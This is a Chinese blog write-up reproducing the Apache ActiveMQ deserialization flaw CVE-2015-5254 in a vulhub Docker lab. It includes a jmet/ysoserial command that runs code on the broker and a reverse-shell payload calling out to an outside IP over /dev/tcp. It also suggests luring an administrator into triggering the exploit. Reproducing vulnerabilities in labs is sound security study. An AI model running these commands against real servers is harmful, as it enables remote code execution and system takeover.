ActiveMQ反序列化漏洞(CVE-2015-5254)复现
2022-03-12 10:21:09

ActiveMQ反序列化漏洞(CVE-2015-5254)复现

漏洞来源

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞环境搭建

我用的是docker搭建的vulhub很方便,里面有很多漏洞。

下载过程就不多说了。进入所要复现的漏洞。

1
2
# 进入文件夹后运行下面命令
docker-compose up -d

等待完成即可。运行后将监听61616端口和8161端口。61616是消息传递端口。8161是后台管理员界面。出现如下页面就是访问成功

1
http://you ip:8161

1

下面访问管理员界面。http://you ip:8161/admin。输入默认账号密码admin/admin

2

漏洞复现

漏洞利用过程如下

  • 构造(可以使用的ysoseria)可执行命令的序列化对象。
  • 作为一个消息,发送给目标端口61616.
  • 访问的web管理界面,读取消息,触发漏洞。

使用jmet进行漏洞利用

  1. 首先下载jmet的jar文件,并在同目录下创建external文件夹。jmet原理是使用ysoserial生成payload并发送。所以我们需要在ysoserial是gadget中选择一个可以使用的,比如rome。
1
2
3
4
5
cd /opt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external
  1. 执行命令
1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   ip   61616

这里解释一下这个命令的意思,调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 -s 是选择ysoserial payload -Y 是攻击模式和内容 -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。

3

  1. 此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息

4

点击可以查看触发的命令

  1. 进入容器查看

    1
    docker exec -it  id /bin/bash
  2. 查看到/tmp已成功创建,说明漏洞利用成功。

5

  1. 反弹shell
1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/1234>&1" -Yp ROME ip   61616
1
nc -lvvp 1234

即可查看反弹成功。

7

这里遇到点小问题,就是java8以上的版本会报错无法调用sun的包,只需要换成8或以下的版本即可,毕竟是15年的漏洞了。

值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发

参考链接:vulhub